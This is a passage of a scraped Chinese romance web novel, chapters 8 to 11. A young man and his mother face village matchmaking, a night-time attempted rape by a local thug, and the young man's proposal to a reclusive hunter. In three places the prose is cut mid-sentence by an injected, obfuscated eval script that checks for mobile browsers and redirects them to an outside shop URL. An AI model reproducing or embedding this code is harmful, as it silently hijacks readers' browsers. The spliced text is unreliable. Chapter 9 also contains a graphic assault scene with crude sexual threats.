“后来就有人说，裴猎户命硬，连在狼嘴里都能活下来，保不准亲娘和祖父都是他克死的，裴木匠因此也极不待见他，后来裴木匠另娶了如今的田氏，生了三个孩子，前些年打仗征兵，裴家日子明明过得不错，却不肯花钱代役，硬是让征兵的人把当时刚刚年满十四的裴猎户带走了。” “这场仗打得凶，直到前年冬大晏才平息战乱，被征去参战的将士得以从边关返乡。裴猎户便是去年入夏的时候才回到村里的，当年我们村被征走的村民就有十数人，就只有裴猎户活着回来了，他回来后就自己盖了房子，当起了猎户，没再踏进过裴家一步。” “至于裴猎户打裴金的事，大概是因为裴木匠和田氏觉得裴猎户打了几年仗肯定得了饷银，来找我爹主持公道，说他们没分家，要让裴猎户给银子，裴猎户便把裴金腿打断了，赔了他们银钱。” 说到这里，柳明桃又压低了一点声音：“你不知道裴猎户有多凶，三四个人都拉不住他，煞神似的，爹跟我和哥哥们都叮嘱过让我们别惹他，我可不敢，他一拳就能把我打死了，你也绕着他一些，他虽然不乱打人，还是吓人得紧。” 钟意竹万没想到裴穆的身世经历如此复杂，他听得五味杂陈，张嘴想说什么，却又咽了回去。 柳明桃说得口干舌燥，看了眼日头，索性起身把鸭子赶上岸，对钟意竹道：“我们回去吧竹哥儿，我口渴得紧，想回家去喝水。” 钟意竹应了一声，和他一起往回走，临分开前，柳明桃想起什么：“对了竹哥儿，后天镇上有大集，我娘说带我去逛呢，你要去么？” 孙芸娘如今身体已经几乎无碍了，家里如今什么都缺，钟意竹点了点头：“应当是要去的，我问了我娘告诉你。” 柳明桃得到了想要的答案，高兴地赶着鸭子走了，他向来是没什么烦恼的，自然也看不出钟意竹的重重心事。 回去的路上，钟意竹数着路边新开出来的野花，心里知道自己这感谢的银钱大概是没有机会送出去了。 一个人经了这么多的事，活成了离群索居的样子，他显然不想被打扰，而自己一身麻烦，还是离人家远一些的好。 8. 第 8 章 钟意竹回到老宅的时候，之前在院子里说话的几位婶子阿叔已经离开了，孙芸娘正在收拾他拿回来的背篓。 钟意竹连忙上前帮忙：“我来吧娘。” “都快弄完了别沾手了。”孙芸娘避开他的手，把竹篓里仅有的几朵菌子倒出来，抬眼看向他时，眼里带着笑意。 “先前我看着装了满满一背篓，还当我们竹哥儿这么厉害，捡了这许多菌子呢，原来都是装来唬人的。” 钟意竹最不禁逗，薄薄的脸皮染了胭脂似的，转移话题道：“我放在上面的野果娘你吃了吗？我特意给你留的。” 孙芸娘忍俊不禁，又觉得窝心的甜，也不再逗他。 “吃了，我们竹哥儿越来越厉害了，换成娘亲去山里怕是连半朵菌子都捡不到的，这些也够做一顿了，晚些我炖汤给你喝。” 钟意竹找了个小凳子坐下来，在一旁看娘亲挑拣菌子，一边跟她说了桃哥儿邀他后天去赶大集的事。 孙芸娘应声道：“是该去集市采买一番了，你不是要给桃哥儿和周嫂子做香包？明天一并去把布料和针线买了，再买些粮油猪肉，娘给你做好吃的，你下巴都尖了，得好好补补。” 尖了吗？钟意竹摸了摸下巴，没有什么感觉，如今家中没有铜镜，他也不知道自己是不是又瘦了，只知道娘亲确实因为这场病清减了不少。 定好后天去赶集的事，钟意竹看着灶上收回来还没来得及洗的茶碗，不由泄气：“娘，我说了我不想嫁人，你这么费心应付他们做什么呢？” 孙芸娘把拣好的菌子放到大碗里，舀了水进去仔细清洗，一边柔和地应道：“哪有姑娘小哥儿不嫁人的呢？娘也想留你在身边一辈子，可咱们如今这样，招赘招来个豺狼娘也拿他没办法，不如好好给你挑个过日子的人，娘不图什么，只要对你好就行。” 说到这里，孙芸娘又难免神伤，原本她的竹哥儿是不必吃现在这种苦的，村里的日子有多难她已是深有体会，她无法接受让钟意竹去过那种伺弄田地、打理家事却连顿肉都吃不上的日子，尽管如今落魄了，她也想尽力给钟意竹挑一个过得去的夫家。 可他们留了竹哥儿太久，翻了年竹哥儿就满十八奔十九了，这个年纪没成亲的小哥儿已算是稀少，小哥儿样貌性格再好，留给她挑选的时间也不多了。 孙芸娘细细跟钟意竹剖析自己的想法：“现在是有许多看见咱们有二十亩田地就急着凑上来的，这样的人家自然是不能要的，我们初来乍到，两眼一抹黑，村里总共就这些人家，互相都是熟悉底细的，娘多跟他们聊聊，也能知道更多消息。” “其实最好还是能找到镇上或是县城里的，这样起码你嫁过去不用下地，咱们如今明面上的家底不够看，等相中人，我们也慢慢扎下来根，娘再去县城寻摸间合适的铺子买下来，这样的条件便好相配了。” 钟意竹听着孙芸娘轻言细语地跟他解释，整个人也慢慢静下来，孙芸娘一字一句都是在为他的今后打算，不知道她想了多久，又在背后辗转愁虑过多少次。 “娘……”钟意竹红了眼眶，伸手去拉孙芸娘的衣角，如同儿时那样。 若是真能回到儿时该有多好。 孙芸娘轻轻抚了抚他的头顶：“有娘在呢，娘要看到你过得好，这辈子才能安心合眼的。” …… 到了赶集的这日，钟意竹早早地就起来了，柳山村离镇上不算远，坐牛车只需要不到半个时辰，只是镇上的集市开摊早，村民们赶集也都习惯了早早地去。 村长家就有牛车，不过今日家里其他人都有事要用车，因此四人是一起去村口搭的村里的牛车。 牛车一趟载六人，另外的两人分别是张桂花和柳风，两人一上车就别开了头，谁也不理谁，位置也离得远远的。 说起来这两人原本关系挺好，经常凑在一处干活闲聊，只是自从张桂花表露出要聘钟意竹做儿夫郎的苗头，柳夫郎的态度就隐隐不太对劲了。 柳夫郎在最开始钟意竹来村里时就有意攀附，只是后来知道钟意竹被钟家留在了村里，没了富贵，便歇下了心思。 他心思重，这个想法从未对别人讲过，张桂花自然是不知道的，后面钟意竹拿了二十亩上好水田的事村里人尽皆知，村里人都在背后议论，钟意竹随便一件衣裳都要一两银子，怕是整个衣箱加起来都比有些人家底要厚了，他听得多了，便忍不住又有些意动。 知道张桂花的意图后，他明里暗里地劝张桂花放弃，说钟家小哥儿如何不好，转头却自己巴巴地去了钟家。 两人就此闹翻不说，还别起了苗头，像是争着谁家儿子娶到钟意竹谁就赢了似的。 见到村长娘子带着小哥儿和钟意竹母子一起来坐车，两人瞬间变了脸，热情地邀请他们往自己身侧坐。 柳有宗这个村长做得公正，处事有度，是很受村民尊敬的，周绍芬这个村长娘子在村里自然也有地位，柳夫郎仗着和柳有宗有几分曲里拐弯的亲戚关系，向来恨不得喧嚷得人尽皆知。 他先一步亲热地拉着周绍芬孙芸娘坐下，跟她们唠起了家常，还不忘得意地往张桂花那边瞥去一眼。 张桂花气结，扭头想找身旁的两个小哥儿说话，却发现连嘴都插不进。 桃哥儿今日扎了小辫儿，头发上也戴了绢花，打扮得灵动漂亮，他兴冲冲地拉着钟意竹坐下，便嘴巴不停地跟钟意竹说起了自己想买的东西，说上次在集市上看到的绢花如何漂亮，说木头小雀如何好玩，又追问钟意竹府城里是怎样的热闹。 赶车的老张一扬鞭子：“走咯——” 他们要去的镇子叫做垂柳镇，名字起得诗情画意，实际上却没有几棵柳树，或许曾经是有的，如今却只剩下光秃秃的河岸和干涸的河床。 垂柳镇不大，但半月一次的大集却很热闹，周边村子的人都会在这天来赶集采买，或是兜售家中作物，货郎小贩也搜罗了各种物件前来摆摊。 周绍芬要买的东西不多，本就是被桃哥儿央着带他来玩的，因此便也没跟孙芸娘娘俩分开，还能顺便带他们认路挑货。 一行人先去了布料铺，钟意竹觉得缎面的衣裳穿着干活不方便，想要两身棉布衣裳，自己挑了一匹青色的料子，够做两身衣裳换着穿。 还是孙芸娘叫住了小二，让只裁半匹青色，另外半匹她挑了个鲜亮的水绿色，价格要贵上一些，却也只是从前钟意竹随手买份零食糕点的钱。 孙芸娘自己也裁了半匹棉布料子回去做衣，加上钟意竹要的碎布，一共给了六百一十文。 从布料铺出来，柳明桃看见旁边路边一家卖杂货的小摊，眼前当即就是一亮，拉着钟意竹跑了过去。 小摊上铺开摆放了许多绢花，簪子，发带，木梳等，一应首饰应有尽有，直把柳明桃看了个眼花缭乱。 钟意竹陪他站在摊子旁，他对那些色彩鲜艳的首饰是没什么兴趣的，反倒是把不远处的香膏都拿起来闻了闻，又一一放回原处。 “咦，这是什么？” 柳明桃见一个敞开的木盒里装了几颗拇指大的丸子，抬头想问小贩，小贩却正被另一边的客人缠着讲价。 “是香丸，可以放在香囊或衣柜中，持续散发香气。” 回答他的是一旁的钟意竹，钟意竹拿起香丸闻了闻，味道杂乱刺激，离得近了更是呛鼻，柳明桃却觉得新奇，还煞有介事地拿给周绍芬也闻了闻。 钟意竹看得有些疑惑：“垂柳镇不时兴佩戴香丸吗？” 柳明桃比他更疑惑：“香囊里不是放香木吗？反正我之前是没见过的。” 钟意竹眨了眨眼，香丸一年前便在府城时兴开来，没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因着来得早，等他们全部逛完回去的时候也才刚过晌午，到了家，钟意竹和娘亲一起把新买的东西归置好，便拿着针线和新买的碎布进了屋。 布料铺的碎布各式各样的面料都有，按堆售卖不能挑选，钟意竹从碎布里挑出一块桃粉色的绢布和一块紫檀色的缎子。 香丸是现成的，钟意竹早就挑好了适合的香，剩下的便是缝制香包。 钟意竹的绣活是孙芸娘亲手教的，他学得却不算好，不过送人礼物最重要的是心意，他一针一线缝得认真，等孙芸娘叫他吃晚饭时，还剩一半的图案没有绣好。 这一顿饭是钟意竹和孙芸娘到村里之后吃得最丰盛的一顿，两人一边吃饭，一边商量以后的活计，又说起不久后收回来的田地要不要继续请人耕种。 虽然他们几乎失去了一切，但在这一片废墟之中，他们也挣扎着慢慢站直了身子，用力在这个陌生的地方，扎进去了一点点根须。 日子总还是要继续过的。 吃完饭，钟意竹和孙芸娘正在收拾灶房，外面突然响起一声惊雷，孙芸娘探头看了一眼，雨点已经迅速落了下来。 夏日的天气便是这样，不给人一点时间反应，孙芸娘连忙进屋关窗，外面还剩一点的天光已经被雷云笼罩，钟意竹加快手上的动作，洗完碗筷后，索性也一并洗漱了。 等他端着油灯回到卧房时，外面的雨声已经连成了一片，雨点重重打在瓦片上，似乎把整个房子和外面的世界都隔绝开来，面前的灯光昏暗，更让人觉得孤寂。 钟意竹熄了继续绣完香包的想法，吹灭灯火上了床。 这一场夏夜的暴雨下得有些久，钟意竹一直睡得不太安稳。 迷蒙中他总觉得隐约听见了一些不寻常的动静，却不知道是不是雨声太吵引起的错觉，这场雨似乎也蔓延进了梦里，让他分不清现实与梦境的边界，用力想睁开眼却徒劳无功。 直到脸上感受某种阴冷的触感，他才猛地惊醒过来。 外面雷电交加，他在屋内亮起的一瞬间看清了站在他床边的人影。 9. 第 9 章 钟意竹周身的血液在一瞬间凉透，下意识想叫出声却被用力捂住嘴巴，他不要命地挣扎起来，却被男人从上方狠狠压制。 钟意竹已经认出来这就是白日里在镇上撞了桃哥儿的那个混混，可任他怎么细心也想不到，男人会一路跟着他们回村，又在深夜突袭发难。 捂在嘴上的手泛着泥土腥气，混杂着别的气味，令人作呕，男人浑身湿透，衣裳上的雨水也浸到了钟意竹身上，他粗暴地撕开钟意竹的衣裳，意图再明显不过。 男人刻意压低的声音在耳边响起，语气里的恶意让人毛骨悚然。 “钟少爷是吧？没想到我赖老二还有这样的福气享用府城来的小哥儿呢，你挣扎什么？长得这样勾|人，不就是天生该给男人操的吗？” 男人下流地笑了两声：“放心，等我给你破|了身子，你就只能嫁给我了，到时候你求着我|操|你还来不及呢。” 暴雨声似乎阻隔了一切，钟意竹被捂着嘴只能发出微弱的声音，他的力量完全不是男人的对手，踢动的腿被紧紧压住，他满心绝望，眼角的泪水却似乎更催|动了男人的兴|致，手上的动作也更加急切。 赖老二狞笑着，丑陋的脸上满含着下流猥琐的欲念，他得意极了，像衔住了肥肉的贪婪野兽，只要他今晚要了小哥儿的身子，小哥儿为了保住名节便只能嫁给他，到时候他不仅白得一个美人，美人的家产也都是他的了。 他都在村里打听清楚了，这细皮嫩肉的小哥儿虽顶了个少爷的名头，却是个闯了祸被家里厌弃的，要不他也不敢这么行事，他赖老二能横行这么多年，就是因为懂得从不得罪得罪不起的人。 赖老二手下已经扯下了钟意竹的衣裳，借着一闪而过的电光看见了一片晃眼的白，他咽了咽口水，急不可耐地俯身凑上去，手上也因为这个动作卸了几分力。 只是还没等他碰到美人的香肩，便突然觉得脖颈一凉，尖锐的刺痛让他忍不住痛呼一声。 钟意竹在之前的挣扎中摸索到了床头绣绷上的绣花针，紧紧地捏在了手里，他抓住这一瞬间的空档，用力把针插进了男人的脖颈。 赖老二捂着脖子猛地起身，惊怒地给了钟意竹一巴掌，又用力掐住他的脖子：“敢伤老子，找死是吧？” 钟意竹艰难地喘息着：“我针上……涂了毒，你不怕死就继续掐我。” 赖老二粗鲁地呸了一声：“当我是傻子？你一个小哥儿去哪弄的毒，你弄根毒针放枕边做什么？” 他喘着粗气，是气的，也是急的：“再说了，就算是毒针，你只要是我的人了，你为了自己的名节也得救我。” 话音落下，赖老二便不管不顾地拉开自己衣裳，又去扯钟意竹的裤子，显然是完全失了耐心要直奔正题。 钟意竹拼尽全身力气挣扎，连指甲崩断的疼痛都顾不上，他只知道，若是让对方得逞，他大概只有死路可走。 他不能死，他还有娘亲。 激烈的挣动中，钟意竹用力到似乎连青筋都涨破，耳中一片尖锐的嗡鸣，偏生在这片嗡鸣中，男人黏腻恶心的呼吸仍如影随形，像逃不脱的噩梦。 突然，上方传来“咚”的一声，一团重物重重地砸在旁边，身上的压力骤失，紧接着，另一声重物落地的声音从床边传来，钟意竹愣怔地转过头，眼神却仍是失焦的。 孙芸娘把瓦罐丢到地上，连声音都是颤的：“没事了竹哥儿，没事了……”她伸手去摸钟意竹的脸，却摸到了一手湿润，心里痛如刀搅，恨不得提刀把这畜生砍死。 屋外的雨声太大，孙芸娘直到听见赖老二的痛呼才得以发现这边的动静，她摸黑起身，轻手轻脚地拿了平日里收在堂屋用来煎药的瓦罐，两人的打斗和暴雨雷鸣的声音掩盖了她进门的动静，让她得以从背后一击即中。 轻薄自家小哥儿的男子一动不动地倒在了一旁，孙芸娘后怕不已，她忍着泪，不敢去碰钟意竹发抖的身子，只一味把嗓音放缓：“别怕竹哥儿，娘不会让你嫁给他的，别怕，娘带你走，带你去别的地方……” 钟意竹连抽泣都是没什么声音的，他从恍惚中回过神，仍控制不住地发抖，却反过来宽慰孙芸娘：“娘，他没得逞，我没事……” 孙芸娘看不清屋里的场景，已经想到了最坏的情况，听闻此话才猛地松出一口气来，瘫软地坐到床边，隐忍着哭声：“我苦命的小哥儿，老天怎么舍得这样对你……” 怎么舍不得呢……钟意竹麻木地想着，从爹离开的那一刻起，老天似乎就给他设下了重重障碍，他只是想和娘亲好好活着，却难如登天。 赖老二就倒在床的里侧，钟意竹犯恶心地挪了挪身体远离，他胡乱拢好衣裳，强迫自己冷静下来。 灯火被点亮，钟意竹伸手探了探赖老二的呼吸，确认人还有气，只是被砸昏过去了，不知道何时就会醒过来。 钟意竹一把握住孙芸娘颤抖的手，嗓音出乎寻常地冷静：“娘，我们得把他弄出去。” 且不提赖老二醒来会对他们造成怎样的威胁，如果被人知道赖老二半夜来过他家，就算什么都没发生，也不会有人相信。 到时候一顶失节的大帽子扣下来，他辩无可辩。 钟家老宅在村子最北边，后面便是山林，钟意竹和孙芸娘冒着雨把赖老二拖进了林子里，推下山坡。 夜还很深，两人相互扶持着深一脚浅一脚地回到宅子，锁好院门门，又从灶房拿了刀，把能搬动的家具都搬到堂屋门口抵住，就这样睁着眼到了天明。 外面的天光越来越亮，等到第一束阳光透过缝隙洒进屋内的时候，母子俩才终于松出口气。 钟意竹一直保持着双手握刀的动作，身体已经僵了，思绪也是木的，他站起身，却迟迟没有挪动一步。 他这一晚想了许多许多，想来想去，却发现如今的局面对他来说已经是一个死局。 即便他安然度过了昨晚，可赖老二既已经起了毁他名节强迫他嫁人的心思，又被他们下手打伤，定然不会善罢甘休。 钟意竹摸了摸自己的脸，有些麻木地想，既然这副容貌为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081391|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他带来这么多祸事，不如毁了算了。 一旁的孙芸娘原本就牢牢盯着钟意竹，见他神情不对，连忙上前去拦：“竹哥儿你要做什么！” 她原本是想厉声斥责的，话至一半却忍不住哽咽。 “明明是那畜生的错，你为何要这样对待自己？” 孙芸娘拿过钟意竹手里的柴刀扔到地上，背过身抹了把眼泪，转过来时已经强撑出一副没事的模样。 “没关系的，娘这就请媒人上门，给你挑门好亲，嫁谁都比嫁给那畜生强，你去收拾行李，娘先送你去你舅舅家避一避……” “我不去。”钟意竹眼里的泪已经流干，他钻了牛角尖，被孙芸娘唤回神，又听了她这样费尽心思的安排筹划，人也变得清醒许多。 他吸了吸鼻子：“我走了他回来报复的就是娘亲了，我怎么可能留您一个人在这里。” 而且就算真的定好了亲，赖老二也总有机会成亲前就来报复，搅黄婚事的。 除非…… 钟意竹脑海里浮现出一个人，一个绝不会被赖老二钳制住的人。 …… 村东，山脚下的院子里。 裴穆一直睡到日上三竿才起身，昨晚暴雨，山中泥泞，他今日不打算上山，闲来无事便拿出之前存下的木材打磨。 他干得入神，直到肚中饥饿，他才伸了个懒腰起身，准备去灶房随便弄点东西凑活。 走到后院的柴堆前准备抱柴时，裴穆的脚步突然顿了顿。 他周围没有人家，平日里极安静，因此一点异常的动静都会尤为明显。 他不动声色地拿起柴刀，放轻脚步慢慢走到后门旁，猛地拉开门。 门外却没有歹人，也没有下山偷食的动物。 裴穆拧眉看向先前只有过两面之缘的人：“你怎么在这儿？” 钟意竹毫无防备之下，被裴穆突然弄出的动静吓了一跳，往后退了两步。 他惊魂未定地看着提着刀的裴穆，脸上几乎没有血色，紧抿的唇角却印着一抹鲜艳的血痕。 裴穆往旁边侧了侧身，钟意竹却误以为他是要关门，连忙上前几步挡在门前。 “我……” 裴穆向来是对人没什么耐心的，面前的人身形单薄，个子在小哥儿中算高一些的，却也只到他鼻尖，他甚至不需要动用什么力气便能把人推出去。 看在之前的渊源上，裴穆暂时没有动手，他垂眼看着钟意竹，眉眼间是经年累月积聚的戾气，在他没表情时异常明显。 钟意竹用力抠住手心，他在过往的十七年里循规蹈矩，乖巧听话，做过最出格的事便是在被亲人当成玩意送出去时抱着必死的决心伤了对方，最后让娘亲和他一起被送到了这个人生地不熟的小村庄。 他知道，这一步走出去便再也没有转圜的余地，他也知道，走错了他便万劫不复。 钟意竹抬眼直视着裴穆的眼睛，嗓音带着控制不住的轻微颤抖，语气却异常冷静。 “裴穆，你能娶我吗？” 10. 第 10 章 裴穆有一瞬间以为自己聋了，或者是出现了幻觉。 他在战场上受了伤躺在军帐里发热胡言乱语时便曾经出现过幻觉，可如今他人好好地站在自己家里，没有受伤，也没有中毒。 裴穆的脸上罕见地出现了错愕的神情，他难以置信地看着钟意竹：“你疯了？” 从他回村起，十里八乡便没有一个姑娘小哥儿敢往他身边凑，王平安夫夫替他着急，帮他找媒人打听，结果媒人一听说是他便连连摆手，倒不是多有良心怕把人家姑娘小哥儿送进火坑，而是怕给他说的亲事不满意便被他打断了腿。 话已经起了头，钟意竹的紧张却没有削减分毫，他屏着一口气：“我没疯，你若是肯，便找人来提亲，我不要聘礼，只要你能护住我和娘亲。” 裴穆看着钟意竹嘴角的伤，品出其中意味，他恢复了惯常的模样，不带什么语气地反问：“若我不肯呢？” “你若是不肯……” “那便算是我雇你做护院，你表面和我成亲，我私下付你银子，我们签订契书，三年为期，到期和离，婚丧嫁娶各不相干。” 钟意竹清楚地知道，这样越过父母自己来找男子求亲的行为放到哪里都称得上离经叛道、寡廉鲜耻，他敢大胆行事至此，是形势所迫，也是他不甘心就此认命。 钟意竹不是没想过单纯雇人做护院，可他们男未婚哥儿未嫁，同处一个宅子里，又不像大户人家那样有其他下人，分前后院，反而于名声上不清不楚，对两人都不好。 这已经是他能想出来最稳妥的法子，裴穆不会吃亏，他也能解决眼下的困境，多出许多喘息的时间，可裴穆却道：“若我还是不肯呢？” 钟意竹怔了怔，看着眼前面容冷淡的男人。 裴穆连眼神都没有分毫动容，虽是问句，他的表情却已经给出了答案。 钟意竹想过被拒绝的可能，却没想到裴穆连银钱都没有问，便拒绝得如此果断。 他到底是个未出阁的小哥儿，这样主动送上门还被拒绝得这样难看，尽管他知道这只是对方的选择，无可指摘，一颗自尊心却还是被摔得粉碎。 钟意竹回想过往十七年的经历，从没有哪一刻如此刻这般难堪。 他强忍情绪，低声快速道：“是我唐突了，请你当做今天的事情没发生过。” 钟意竹说完便转过身，逃一般地往山上跑。 他是从山上绕过来的，为了不被村里人瞧见，如今自然也要从山里绕回去，钟意竹用力盯着地上的路，眼泪断了线一般地往下掉，眼前的路变得模糊，他顾不上去看脚下的泥泞，只想尽快从这里离开。 “站住。” 耳边传来的声音似乎隔着一层膜，钟意竹反应了几息，才意识到这是切切实实从身后传来的。 他不知道裴穆要说什么，只想不管不顾地往前跑，却被裴穆接下的话钉在原地。 “伤你的人是谁？” …… 钟意竹刚回到老宅，孙芸娘便焦急地迎上前来。 钟意竹从柳明桃那里听说了不少和裴穆有关的事，孙芸娘这些时日和村里的婶子阿叔闲聊，知道的只会比他更多，因此起初听到钟意竹想去找裴穆时，孙芸娘是怎么也不同意的。 连算命先生都说过裴穆命硬，克亲克近，不离他远些命都要被他克了去，而且他打人那样厉害，若是有些不为外人道的折磨房中人的怪癖，她的竹哥儿怎么经得住？ 在她看来，钟意竹这便是从一个毒坑跳进另一处火海，她怎么肯。 后面被钟意竹告知他那日落水其实是被裴穆所救，她也依旧放不下心，裴家情况那么复杂，就算裴穆是个好的，这也绝对不是门好亲。 她以为钟意竹找裴穆只是因为裴穆能打，劝说他村里也有别的厉害汉子，钟意竹却还是坚持要找裴穆。 “如果说长辈故去都要算到孩子身上，那我也是克死爹的不祥之身了，娘，我不认识你说的那些人，我宁愿是裴穆。” 孙芸娘听懂了，也最终妥协了。 这件事原本由她去说会更庄重些，可裴家长辈管不了裴穆，她一个素未谋面的长辈去找裴穆本人也显得怪异，况且情况特殊，这件事也不能被旁人知晓，因此她便还是让钟意竹自己去了。 她在宅子里等得心焦，见钟意竹回来，她连忙迎上去，却先看出了钟意竹脸上哭过的痕迹。 孙芸娘原本便觉得有些勉强，见状瞬间怒火中烧：“那混蛋欺负你了？” 钟意竹摇了摇头，刚想解释，前院却突然传来了叫门声。 “钟家的在吗？有喜事来了！” 孙芸娘神情惊异，也顾不上再追问钟意竹，连忙去应门，顺便推了钟意竹一把，低声道：“快些去把衣裳鞋子换了。” 钟意竹快步回屋，关好屋门，他不知道外面来的人家是谁，却只觉得像催命符，让他喘不过气。 他屋子里的床单被罩已经全部被孙芸娘换上了新的，昨晚噩梦般的痕迹都被全部抹除，只剩下那个绣到一半还没完工的香包。 他换下了被溅得到处是泥的衣裳和鞋，却绕开了床，坐到了放在地上的箱子上。 他房间里的窗户是开着的，一束阳光打了进来，落在地上照出一块明亮的光斑。 钟意竹盯着窗外的树发了很久的呆。 另一边，孙芸娘打开了前院的门，门外的陌生女人约莫四十来岁，发间插着一朵红花，再明显不过的媒人打扮。 一见孙芸娘，柳巧嘴立刻笑开了花：“这便是钟夫人吧？瞧瞧这气度，可当真是跟我们村里人不一样，难怪能教养出竹哥儿那样出众的小哥儿呢。” “哎呀，看我太高兴了都忘了介绍，我是媒人柳巧嘴，今天是有人家托我来说亲，这十里八乡的人都知道，我柳巧嘴从不瞎说骗人，这可当真是顶顶相配的亲事。” 柳巧嘴说得天花乱坠，孙芸娘心下却并无多少欢喜，反而生出警惕，她面上没有表现出来，只是笑着请媒人进屋，又问对方是哪户人家。 直到听柳巧嘴说是村里的张铁牛，并不是什么镇上的混混，孙芸娘才松了口气，只是张铁牛家…… 她是见过张铁牛的娘亲张桂花的，前些日子来她家最积极的便数张桂花，虽然没明说，却拐弯抹角都在打听他们娘俩的家产，还说竹哥儿身子弱，连桶水都拎不起，得早些找个人来照顾才是。 可看她那架势，若竹哥儿真嫁过去了，不受磋磨才是怪事。 孙芸娘再急着结亲，也不会选择这样的人家，任凭柳巧嘴把这门亲事说出一朵花来，她仍是找理由委婉地拒了。 柳巧嘴见她不是矜持推让，而是真的不愿接受，脸色当场便有些挂不住了，张家的说了，若是能说成，多给她加五十文的喜钱，眼看到手的银子没了，她也懒怠再挂笑脸，只是想着这钟家当是还会有人求亲，她说不定还有赚银子的机会，才忍着没撕破脸。 只是她看得开，翘首以盼的张桂花和张铁牛却是根本不能接受。 她前脚说完结果离开，后脚张桂花就气得骂开了，枉费她还多花了银钱想给钟意竹做个脸面，谁知对方给脸不要脸，一个名声不好的破落户小哥儿带着个痨病鬼老娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081392|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不是他家心善谁看得上，呸！ 她数落得难听，隔壁的吴翠娟却是听得痛快。 自从她被罚跪祠堂，又赔了钟意竹一两银子出去，李四牛便再也没主动跟她说过一句话，她自知闯了祸，这些日子也不敢再出去惹是生非，只一心想着把自家男人哄转回来。 她不敢招惹钟意竹，却十分乐于看到对方倒霉，张桂花最是记仇，又极宝贝她家张铁牛，钟家拒了她家的亲事，她绝对不会饶过钟意竹的。 果不其然，没过多久，张桂花便带着针线到村里串门去了。 众人都好好地纳着鞋底说着话，她却没戳两针就抹起了泪，旁边人一问，她就一脸难过地说原本前些天孙芸娘就私下和她说定了亲事，结果等她请了媒人去提亲，孙芸娘却嫌聘礼太低翻脸不认。 旁边人连忙追问给的多少聘礼，张桂花说了个数，在村里娶夫郎的聘礼里算是最高的一档了，众人一听，立时七嘴八舌地说起了孙芸娘和钟意竹的不是。 柳夫郎坐在对角，冷眼看着张桂花扯谎瞎编，他慢悠悠地拈针穿过鞋面，也不去拆穿，别人不知道，他却是看得真真的，孙芸娘根本没看上他们这几家主动上门的。 正好，等张桂花这个没脑子的把钟家名声败坏完了，钟家小哥儿没了行情，可不就便宜了他家。 见众人说得义愤填膺，他也跟着附和了两句，成功添了把柴，让火烧得更旺。 …… 垂柳镇上，西边是一片拥挤的民居，每处宅子里面都挤了几户人家，杂乱而吵闹。 赖老二靠在床上听着门外不知哪家的娃娃扯着嗓子哭嚎，心烦意乱地吼了一声，反而换来了更大声的嚎叫，他气得摔了个碗，越发气不顺。 早晨他醒来时便发现自己被扔到了山沟里，浑身湿透，后脑还传来一阵阵刺痛，他懊恼自己因为大意失手，又因此激发了更强的征服欲和报复欲。 他一路回了垂柳镇，去医馆找大夫帮忙夹出脖子里的绣花针，又拿了外伤药，这一趟下来不仅没收获，自己还破了财。 他越想越气，一边咒骂着，一边计划着下次必须好好给那小哥儿一个教训，只是得下手轻着些，这样的尤物，就算他玩腻了，送给别人怕是也能换不少钱的…… “砰——”赖老二正在意淫，冷不防门突然被踢开，将他吓了一跳。 院里的人都知道他就是个混混，平日里没人愿意招惹他，他以为是哪个对头来找麻烦，骂骂咧咧地看过去，却发现对方是个陌生人。 男人身量比他高，虽不及他看上去健硕，眼神里的戾气却让人心惊，他直觉知道男人不好惹，忙缓和了语气想说话，男人却只冷冷地问了句：“赖老二？”像是在做确认。 赖老二不敢答应，男人却已经锁定了他的身份，大步跨过来将他单手拎起，一把掼到了地上。 从西边办完事出来，裴穆想了想，去铺子里买了只烧鸡，王平安夫夫常常叫他去吃饭，他没有回请的手艺，只能时不时送点猎物或买点镇上的吃食回去。 他来去都快，回到村里时斜阳还挂在山边，他绕了个圈没走村里，来到王平安家院子时，就见曾见过的村长家小哥儿正和陈小容义愤填膺地说着什么。 见到他的身影，小哥儿呲溜一下便站了起来，匆匆跟陈小容道过别就跑走了，裴穆想了片刻也没想起来他叫什么，便扔到脑后。 他没什么吓到人的自觉，自顾自走进院子把烧鸡递给陈小容，不顾陈小容的推拒转身就走，走到院门口时，他迟疑了一下，还是回过身。 “我听你们在说钟家？” 11. 第 11 章 陈小容正在看着手里的烧鸡叹气。 他们常叫裴穆来家里吃饭是当真把他看作亲人，不计较这些，可偏偏裴穆是个重情义的，没人管家手又松，常常一出手不是好肉就是镇上的好吃食，也不搞假客气那一套，塞过来就走，搞得他们有时都不知道该不该叫他来吃饭了，很是发愁。 突然听裴穆提起他之前和桃哥儿聊的内容，陈小容有些诧异，裴穆对村里的事向来不怎么关心，这还是第一次听他主动问起。 不过提起这事，他也是一肚子气愤，刚刚正跟桃哥儿聊得起劲被打断，如今情绪一下子又续了上来。 裴穆不是外人，他也知晓裴穆断然不会到处去说，说话便没什么顾忌。 